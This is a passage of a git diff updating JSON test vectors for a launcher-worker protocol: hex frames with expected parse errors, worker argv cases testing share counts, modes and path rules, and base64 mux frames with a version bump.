000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "error": "bad_field" + }, + { + "name": "shares-travelling-to-launcher", + "direction": "to-launcher", + "rights": 0, + "hex": "574556310106000004000000780e000001000000020000007372632d3000000000000000000000000000000000000000000000000000000012000001000000009210000000000000040000002f776f726b73706163652f666f6c646572732f6e6f7465730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077696e7465722d67756964616e6365000000000000000000000000000000000012000001000000001f14000000000000030000002f72756e2f77696e7465722f7368617265642d696e737472756374696f6e730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "error": "bad_direction" + }, + { + "name": "share-revoke-with-rights", + "direction": "to-worker", + "rights": 1, + "hex": "574556310107000005000000200000007372632d30000000000000000000000000000000000000000000000000000000", + "error": "bad_rights" + }, + { + "name": "share-revoke-travelling-to-launcher", + "direction": "to-launcher", + "rights": 0, + "hex": "574556310107000005000000200000007372632d30000000000000000000000000000000000000000000000000000000", + "error": "bad_direction" + }, + { + "name": "share-event-revoked-with-a-notice-kind", + "direction": "to-launcher", + "rights": 0, + "hex": "574556310108000006000000280000007372632d300000000000000000000000000000000000000000000000000000000100000001000000", + "error": "bad_field" + }, + { + "name": "share-event-notice-kind-zero", + "direction": "to-launcher", + "rights": 0, + "hex": "574556310108000006000000280000007372632d300000000000000000000000000000000000000000000000000000000200000000000000", + "error": "bad_field" + }, + { + "name": "share-event-notice-kind-seven", + "direction": "to-launcher", + "rights": 0, + "hex": "574556310108000006000000280000007372632d300000000000000000000000000000000000000000000000000000000200000007000000", + "error": "bad_field" + }, + { + "name": "share-event-unknown-event", + "direction": "to-launcher", + "rights": 0, + "hex": "574556310108000006000000280000007372632d300000000000000000000000000000000000000000000000000000000300000000000000", + "error": "bad_field" + }, + { + "name": "share-event-travelling-to-worker", + "direction": "to-worker", + "rights": 0, + "hex": "574556310108000006000000280000007372632d300000000000000000000000000000000000000000000000000000000100000000000000", + "error": "bad_direction" } - ] + ], + "workerArgv": { + "note": "Contract revision 3: the worker's argv. `[path]` with no shares; otherwise `[path, \"--shares-v1\", N, (mode, path) x N]`, N a canonical decimal 1 to 12, mode ro or rw, paths canonical, distinct and never nested. A negative is the worker's exit 2 (usage).", + "positive": [ + { + "name": "no-shares", + "argv": [ + "/Applications/Winter.app/Contents/Helpers/winter-cowork-worker" + ] + }, + { + "name": "two-shares", + "argv": [ + "/Applications/Winter.app/Contents/Helpers/winter-cowork-worker", + "--shares-v1", + "2", + "rw", + "/Users/someone/Projects/notes", + "ro", + "/Users/someone/.winter/cowork/workspaces/ws-1/shared/instructions" + ] + }, + { + "name": "twelve-shares", + "argv": [ + "/Applications/Winter.app/Contents/Helpers/winter-cowork-worker", + "--shares-v1", + "12", + "rw", + "/Users/someone/share-0", + "rw", + "/Users/someone/share-1", + "rw", + "/Users/someone/share-2", + "rw", + "/Users/someone/share-3", + "rw", + "/Users/someone/share-4", + "rw", + "/Users/someone/share-5", + "rw", + "/Users/someone/share-6", + "rw", + "/Users/someone/share-7", + "rw", + "/Users/someone/share-8", + "rw", + "/Users/someone/share-9", + "rw", + "/Users/someone/share-10", + "rw", + "/Users/someone/share-11" + ] + } + ], + "negative": [ + { + "name": "empty", + "argv": [] + }, + { + "name": "flag-without-count", + "argv": [ + "/Applications/Winter.app/Contents/Helpers/winter-cowork-worker", + "--shares-v1" + ] + }, + { + "name": "count-zero", + "argv": [ + "/Applications/Winter.app/Contents/Helpers/winter-cowork-worker", + "--shares-v1", + "0" + ] + }, + { + "name": "count-thirteen", + "argv": [ + "/Applications/Winter.app/Contents/Helpers/winter-cowork-worker", + "--shares-v1", + "13", + "rw", + "/Users/someone/share-0", + "rw", + "/Users/someone/share-1", + "rw", + "/Users/someone/share-2", + "rw", + "/Users/someone/share-3", + "rw", + "/Users/someone/share-4", + "rw", + "/Users/someone/share-5", + "rw", + "/Users/someone/share-6", + "rw", + "/Users/someone/share-7", + "rw", + "/Users/someone/share-8", + "rw", + "/Users/someone/share-9", + "rw", + "/Users/someone/share-10", + "rw", + "/Users/someone/share-11", + "rw", + "/Users/someone/share-12" + ] + }, + { + "name": "count-leading-zero", + "argv": [ + "/Applications/Winter.app/Contents/Helpers/winter-cowork-worker", + "--shares-v1", + "01", + "rw", + "/Users/someone/a" + ] + }, + { + "name": "count-plus-sign", + "argv": [ + "/Applications/Winter.app/Contents/Helpers/winter-cowork-worker", + "--shares-v1", + "+1", + "rw", + "/Users/someone/a" + ] + }, + { + "name": "too-few-pairs", + "argv": [ + "/Applications/Winter.app/Contents/Helpers/winter-cowork-worker", + "--shares-v1", + "2", + "rw", + "/Users/someone/a" + ] + }, + { + "name": "too-many-pairs", + "argv": [ + "/Applications/Winter.app/Contents/Helpers/winter-cowork-worker", + "--shares-v1", + "1", + "rw", + "/Users/someone/a", + "ro", + "/Users/someone/b" + ] + }, + { + "name": "mode-unknown", + "argv": [ + "/Applications/Winter.app/Contents/Helpers/winter-cowork-worker", + "--shares-v1", + "1", + "rx", + "/Users/someone/a" + ] + }, + { + "name": "relative-path", + "argv": [ + "/Applications/Winter.app/Contents/Helpers/winter-cowork-worker", + "--shares-v1", + "1", + "rw", + "Users/someone/a" + ] + }, + { + "name": "dotdot-path", + "argv": [ + "/Applications/Winter.app/Contents/Helpers/winter-cowork-worker", + "--shares-v1", + "1", + "rw", + "/Users/someone/../a" + ] + }, + { + "name": "nested-paths", + "argv": [ + "/Applications/Winter.app/Contents/Helpers/winter-cowork-worker", + "--shares-v1", + "2", + "rw", + "/Users/someone/a", + "ro", + "/Users/someone/a/b" + ] + }, + { + "name": "equal-paths", + "argv": [ + "/Applications/Winter.app/Contents/Helpers/winter-cowork-worker", + "--shares-v1", + "2", + "rw", + "/Users/someone/a", + "ro", + "/Users/someone/a" + ] + }, + { + "name": "other-flag", + "argv": [ + "/Applications/Winter.app/Contents/Helpers/winter-cowork-worker", + "--shares", + "1", + "rw", + "/Users/someone/a" + ] + }, + { + "name": "relative-worker", + "argv": [ + "winter-cowork-worker" + ] + } + ] + } } diff --git a/packages/core/test/cowork/native/vectors/launcher-lines.json b/packages/core/test/cowork/native/vectors/launcher-lines.json index df9d277c9..d6db812b1 100644 --- a/packages/core/test/cowork/native/vectors/launcher-lines.json +++ b/packages/core/test/cowork/native/vectors/launcher-lines.json @@ -69,14 +69,14 @@ "name": "mux-down-bootstrap-plan", "direction": "to-launcher", "rights": 0, - "line": "{\"v\":2,\"t\":\"mux_down\",\"frame\":\"V01YMQEBAAABAAAAbgYAAHsidiI6MSwidCI6InBsYW4iLCJvcGVyYXRpb25JZCI6ImZpbGVzeXN0ZW1fNTU1NTU1NTUtNTU1NS00NTU1LTg1NTUtNTU1NTU1NTU1NTU1Iiwibm9uY2UiOiIwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZiIsInBsYW4iOnsiY2hlY2tNb2RlIjoibm9ybWFsIiwiZXh0NEZlYXR1cmVzIjpbIjY0Yml0IiwiZGlyX2luZGV4IiwiZGlyX25saW5rIiwiZXh0ZW50IiwiZXh0cmFfaXNpemUiLCJmaWxldHlwZSIsImZsZXhfYmciLCJoYXNfam91cm5hbCIsImh1Z2VfZmlsZSIsImxhcmdlX2ZpbGUiLCJtZXRhZGF0YV9jc3VtIiwic3BhcnNlX3N1cGVyIl0sImhvbWVJZCI6ImhvbWVfOTk5OTk5OTktOTk5OS00OTk5LTg5OTktOTk5OTk5OTk5OTk5Iiwib3BlcmF0aW9uSWQiOiJmaWxlc3lzdGVtXzU1NTU1NTU1LTU1NTUtNDU1NS04NTU1LTU1NTU1NTU1NTU1NSIsIm93bmVyIjp7ImNvbnRyb2xsZXJJbnN0YW5jZUlkIjoiY3RsLTBiMGIwYjBiLTBiMGItNGIwYi04YjBiLTBiMGIwYjBiMGIwYi1hMWIyYzNkNCIsImluY2FybmF0aW9uSWQiOiJpbmMtMjIyMjIyMjItMjIyMi00MjIyLTgyMjItMjIyMjIyMjIyMjIyIiwibGVhc2VFcG9jaCI6MywicnVudGltZUltYWdlRGlnZXN0IjoiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYiIsIndvcmtlckluc3RhbmNlSWQiOiJ3cmstNDQ0NDQ0NDQtNDQ0NC00NDQ0LTg0NDQtNDQ0NDQ0NDQ0NDQ0In0sInByaW9yUmVwbGF5IjpudWxsLCJwcm90b2NvbFZlcnNpb24iOjMsInJlcXVpcmVkTW91bnRPcHRpb25zIjpbIm5vaW5pdF9pdGFibGUiXSwidmlyZ2luWmVyb1Byb3ZlbmFuY2UiOiJuZXctc3BhcnNlLWNyZWF0aW9uIiwidm9sdW1lcyI6W3siYWN0aW9uIjoiZm9ybWF0LW5ldyIsImNhcGFjaXR5Qnl0ZXMiOjE3MTc5ODY5MTg0LCJjcmVhdGlvbklkIjoiY3JlYXRpb25fYWFhYWFhYWEiLCJleHBlY3RlZEZpbGVzeXN0ZW1VVUlEIjoiMTExMTExMTEtMjIyMi00MzMzLTg0NDQtNTU1NTU1NTU1NTU1IiwiZmlsZXN5c3RlbUJsb2NrQnl0ZXMiOjQwOTYsImlkZW50aXR5Ijp7ImRldmljZSI6IjE2Nzc3MjM0IiwiaW5vZGUiOiI5MDA3MTk5MjU0NzQwOTkzIiwibW9kZSI6Mzg0LCJ1aWQiOjUwMX0sInB1cnBvc2UiOiJkYXRhIiwicmVhZHlPcGVyYXRpb25JZCI6bnVsbCwic2VjdG9yQnl0ZXMiOjUxMiwidm9sdW1lSWQiOiJ2b2x1bWVfYmJiYmJiYmIifSx7ImFjdGlvbiI6ImZvcm1hdC1uZXciLCJjYXBhY2l0eUJ5dGVzIjo4NTg5OTM0NTkyLCJjcmVhdGlvbklkIjoiY3JlYXRpb25fY2NjY2NjY2MiLCJleHBlY3RlZEZpbGVzeXN0ZW1VVUlEIjoiNjY2NjY2NjYtNzc3Ny00ODg4LTg5OTktYWFhYWFhYWFhYWFhIiwiZmlsZXN5c3RlbUJsb2NrQnl0ZXMiOjQwOTYsImlkZW50aXR5Ijp7ImRldmljZSI6IjE2Nzc3MjM0IiwiaW5vZGUiOiIxODQ0Njc0NDA3MzcwOTU1MTYxNSIsIm1vZGUiOjM4NCwidWlkIjo1MDF9LCJwdXJwb3NlIjoiZW52aXJvbm1lbnQiLCJyZWFkeU9wZXJhdGlvbklkIjpudWxsLCJzZWN0b3JCeXRlcyI6NTEyLCJ2b2x1bWVJZCI6InZvbHVtZV9kZGRkZGRkZCJ9XSwid29ya3NwYWNlSWQiOiJ3b3Jrc3BhY2VfMTExMTExMTEtMTExMS00MTExLTgxMTEtMTExMTExMTExMTExIn19\"}\n", + "line": "{\"v\":2,\"t\":\"mux_down\",\"frame\":\"V01YMQEBAAABAAAAbgYAAHsidiI6MiwidCI6InBsYW4iLCJvcGVyYXRpb25JZCI6ImZpbGVzeXN0ZW1fNTU1NTU1NTUtNTU1NS00NTU1LTg1NTUtNTU1NTU1NTU1NTU1Iiwibm9uY2UiOiIwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZiIsInBsYW4iOnsiY2hlY2tNb2RlIjoibm9ybWFsIiwiZXh0NEZlYXR1cmVzIjpbIjY0Yml0IiwiZGlyX2luZGV4IiwiZGlyX25saW5rIiwiZXh0ZW50IiwiZXh0cmFfaXNpemUiLCJmaWxldHlwZSIsImZsZXhfYmciLCJoYXNfam91cm5hbCIsImh1Z2VfZmlsZSIsImxhcmdlX2ZpbGUiLCJtZXRhZGF0YV9jc3VtIiwic3BhcnNlX3N1cGVyIl0sImhvbWVJZCI6ImhvbWVfOTk5OTk5OTktOTk5OS00OTk5LTg5OTktOTk5OTk5OTk5OTk5Iiwib3BlcmF0aW9uSWQiOiJmaWxlc3lzdGVtXzU1NTU1NTU1LTU1NTUtNDU1NS04NTU1LTU1NTU1NTU1NTU1NSIsIm93bmVyIjp7ImNvbnRyb2xsZXJJbnN0YW5jZUlkIjoiY3RsLTBiMGIwYjBiLTBiMGItNGIwYi04YjBiLTBiMGIwYjBiMGIwYi1hMWIyYzNkNCIsImluY2FybmF0aW9uSWQiOiJpbmMtMjIyMjIyMjItMjIyMi00MjIyLTgyMjItMjIyMjIyMjIyMjIyIiwibGVhc2VFcG9jaCI6MywicnVudGltZUltYWdlRGlnZXN0IjoiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYiIsIndvcmtlckluc3RhbmNlSWQiOiJ3cmstNDQ0NDQ0NDQtNDQ0NC00NDQ0LTg0NDQtNDQ0NDQ0NDQ0NDQ0In0sInByaW9yUmVwbGF5IjpudWxsLCJwcm90b2NvbFZlcnNpb24iOjMsInJlcXVpcmVkTW91bnRPcHRpb25zIjpbIm5vaW5pdF9pdGFibGUiXSwidmlyZ2luWmVyb1Byb3ZlbmFuY2UiOiJuZXctc3BhcnNlLWNyZWF0aW9uIiwidm9sdW1lcyI6W3siYWN0aW9uIjoiZm9ybWF0LW5ldyIsImNhcGFjaXR5Qnl0ZXMiOjE3MTc5ODY5MTg0LCJjcmVhdGlvbklkIjoiY3JlYXRpb25fYWFhYWFhYWEiLCJleHBlY3RlZEZpbGVzeXN0ZW1VVUlEIjoiMTExMTExMTEtMjIyMi00MzMzLTg0NDQtNTU1NTU1NTU1NTU1IiwiZmlsZXN5c3RlbUJsb2NrQnl0ZXMiOjQwOTYsImlkZW50aXR5Ijp7ImRldmljZSI6IjE2Nzc3MjM0IiwiaW5vZGUiOiI5MDA3MTk5MjU0NzQwOTkzIiwibW9kZSI6Mzg0LCJ1aWQiOjUwMX0sInB1cnBvc2UiOiJkYXRhIiwicmVhZHlPcGVyYXRpb25JZCI6bnVsbCwic2VjdG9yQnl0ZXMiOjUxMiwidm9sdW1lSWQiOiJ2b2x1bWVfYmJiYmJiYmIifSx7ImFjdGlvbiI6ImZvcm1hdC1uZXciLCJjYXBhY2l0eUJ5dGVzIjo4NTg5OTM0NTkyLCJjcmVhdGlvbklkIjoiY3JlYXRpb25fY2NjY2NjY2MiLCJleHBlY3RlZEZpbGVzeXN0ZW1VVUlEIjoiNjY2NjY2NjYtNzc3Ny00ODg4LTg5OTktYWFhYWFhYWFhYWFhIiwiZmlsZXN5c3RlbUJsb2NrQnl0ZXMiOjQwOTYsImlkZW50aXR5Ijp7ImRldmljZSI6IjE2Nzc3MjM0IiwiaW5vZGUiOiIxODQ0Njc0NDA3MzcwOTU1MTYxNSIsIm1vZGUiOjM4NCwidWlkIjo1MDF9LCJwdXJwb3NlIjoiZW52aXJvbm1lbnQiLCJyZWFkeU9wZXJhdGlvbklkIjpudWxsLCJzZWN0b3JCeXRlcyI6NTEyLCJ2b2x1bWVJZCI6InZvbHVtZV9kZGRkZGRkZCJ9XSwid29ya3NwYWNlSWQiOiJ3b3Jrc3BhY2VfMTExMTExMTEtMTExMS00MTExLTgxMTEtMTExMTExMTExMTExIn19\"}\n", "t": "mux_down" }, { "name": "mux-up-bootstrap-receipt", "direction": "to-daemon", "rights": 0, - "line": "{\"v\":2,\"t\":\"mux_up\",\"frame\":\"V01YMQEBAAACAAAAhAkAAHsidiI6MSwidCI6InJlY2VpcHQiLCJvcGVyYXRpb25JZCI6ImZpbGVzeXN0ZW1fNTU1NTU1NTUtNTU1NS00NTU1LTg1NTUtNTU1NTU1NTU1NTU1Iiwibm9uY2UiOiIwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZiIsInJlY2VpcHQiOnsiY2hlY2tNb2RlIjoibm9ybWFsIiwiZXh0NEZlYXR1cmVzIjpbIjY0Yml0IiwiZGlyX2luZGV4IiwiZGlyX25saW5rIiwiZXh0ZW50IiwiZXh0cmFfaXNpemUiLCJmaWxldHlwZSIsImZsZXhfYmciLCJoYXNfam91cm5hbCIsImh1Z2VfZmlsZSIsImxhcmdlX2ZpbGUiLCJtZXRhZGF0YV9jc3VtIiwic3BhcnNlX3N1cGVyIl0sImhvbWVJZCI6ImhvbWVfOTk5OTk5OTktOTk5OS00OTk5LTg5OTktOTk5OTk5OTk5OTk5Iiwib3BlcmF0aW9uSWQiOiJmaWxlc3lzdGVtXzU1NTU1NTU1LTU1NTUtNDU1NS04NTU1LTU1NTU1NTU1NTU1NSIsIm93bmVyIjp7ImNvbnRyb2xsZXJJbnN0YW5jZUlkIjoiY3RsLTBiMGIwYjBiLTBiMGItNGIwYi04YjBiLTBiMGIwYjBiMGIwYi1hMWIyYzNkNCIsImluY2FybmF0aW9uSWQiOiJpbmMtMjIyMjIyMjItMjIyMi00MjIyLTgyMjItMjIyMjIyMjIyMjIyIiwibGVhc2VFcG9jaCI6MywicnVudGltZUltYWdlRGlnZXN0IjoiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYiIsIndvcmtlckluc3RhbmNlSWQiOiJ3cmstNDQ0NDQ0NDQtNDQ0NC00NDQ0LTg0NDQtNDQ0NDQ0NDQ0NDQ0In0sInByaW9yUmVwbGF5IjpudWxsLCJwcm90b2NvbFZlcnNpb24iOjMsInJlcXVpcmVkTW91bnRPcHRpb25zIjpbIm5vaW5pdF9pdGFibGUiXSwidmlyZ2luWmVyb1Byb3ZlbmFuY2UiOiJuZXctc3BhcnNlLWNyZWF0aW9uIiwidm9sdW1lcyI6W3siYWN0aW9uIjoiZm9ybWF0LW5ldyIsImNhcGFjaXR5Qnl0ZXMiOjE3MTc5ODY5MTg0LCJjaGVja2VkIjp0cnVlLCJjcmVhdGlvbklkIjoiY3JlYXRpb25fYWFhYWFhYWEiLCJleHBlY3RlZEZpbGVzeXN0ZW1VVUlEIjoiMTExMTExMTEtMjIyMi00MzMzLTg0NDQtNTU1NTU1NTU1NTU1IiwiZmlsZXN5c3RlbUJsb2NrQnl0ZXMiOjQwOTYsImZpbGVzeXN0ZW1GZWF0dXJlcyI6WyI2NGJpdCIsImRpcl9pbmRleCIsImRpcl9ubGluayIsImV4dGVudCIsImV4dHJhX2lzaXplIiwiZmlsZXR5cGUiLCJmbGV4X2JnIiwiaGFzX2pvdXJuYWwiLCJodWdlX2ZpbGUiLCJsYXJnZV9maWxlIiwibWV0YWRhdGFfY3N1bSIsInNwYXJzZV9zdXBlciJdLCJmaWxlc3lzdGVtVHlwZSI6ImV4dDQiLCJmaWxlc3lzdGVtVVVJRCI6IjExMTExMTExLTIyMjItNDMzMy04NDQ0LTU1NTU1NTU1NTU1NSIsImZsdXNoQ29uZmlybWVkIjp0cnVlLCJmdWxsUmVhZE9ubHlDaGVjayI6ZmFsc2UsImlkZW50aXR5Ijp7ImRldmljZSI6IjE2Nzc3MjM0IiwiaW5vZGUiOiI5MDA3MTk5MjU0NzQwOTkzIiwibW9kZSI6Mzg0LCJ1aWQiOjUwMX0sImpvdXJuYWxSZXBsYXkiOiJub25lIiwiam91cm5hbFJlcGxheWVkIjpmYWxzZSwicHVycG9zZSI6ImRhdGEiLCJyZWFkeU9wZXJhdGlvbklkIjpudWxsLCJzZWN0b3JCeXRlcyI6NTEyLCJ0cmFuc2llbnRGaWxlc3lzdGVtRmVhdHVyZXMiOltdLCJ2b2x1bWVJZCI6InZvbHVtZV9iYmJiYmJiYiJ9LHsiYWN0aW9uIjoiZm9ybWF0LW5ldyIsImNhcGFjaXR5Qnl0ZXMiOjg1ODk5MzQ1OTIsImNoZWNrZWQiOnRydWUsImNyZWF0aW9uSWQiOiJjcmVhdGlvbl9jY2NjY2NjYyIsImV4cGVjdGVkRmlsZXN5c3RlbVVVSUQiOiI2NjY2NjY2Ni03Nzc3LTQ4ODgtODk5OS1hYWFhYWFhYWFhYWEiLCJmaWxlc3lzdGVtQmxvY2tCeXRlcyI6NDA5NiwiZmlsZXN5c3RlbUZlYXR1cmVzIjpbIjY0Yml0IiwiZGlyX2luZGV4IiwiZGlyX25saW5rIiwiZXh0ZW50IiwiZXh0cmFfaXNpemUiLCJmaWxldHlwZSIsImZsZXhfYmciLCJoYXNfam91cm5hbCIsImh1Z2VfZmlsZSIsImxhcmdlX2ZpbGUiLCJtZXRhZGF0YV9jc3VtIiwic3BhcnNlX3N1cGVyIl0sImZpbGVzeXN0ZW1UeXBlIjoiZXh0NCIsImZpbGVzeXN0ZW1VVUlEIjoiNjY2NjY2NjYtNzc3Ny00ODg4LTg5OTktYWFhYWFhYWFhYWFhIiwiZmx1c2hDb25maXJtZWQiOnRydWUsImZ1bGxSZWFkT25seUNoZWNrIjpmYWxzZSwiaWRlbnRpdHkiOnsiZGV2aWNlIjoiMTY3NzcyMzQiLCJpbm9kZSI6IjE4NDQ2NzQ0MDczNzA5NTUxNjE1IiwibW9kZSI6Mzg0LCJ1aWQiOjUwMX0sImpvdXJuYWxSZXBsYXkiOiJub25lIiwiam91cm5hbFJlcGxheWVkIjpmYWxzZSwicHVycG9zZSI6ImVudmlyb25tZW50IiwicmVhZHlPcGVyYXRpb25JZCI6bnVsbCwic2VjdG9yQnl0ZXMiOjUxMiwidHJhbnNpZW50RmlsZXN5c3RlbUZlYXR1cmVzIjpbXSwidm9sdW1lSWQiOiJ2b2x1bWVfZGRkZGRkZGQifV0sIndvcmtzcGFjZUlkIjoid29ya3NwYWNlXzExMTExMTExLTExMTEtNDExMS04MTExLTExMTExMTExMTExMSJ9fQ==\"}\n", + "line": 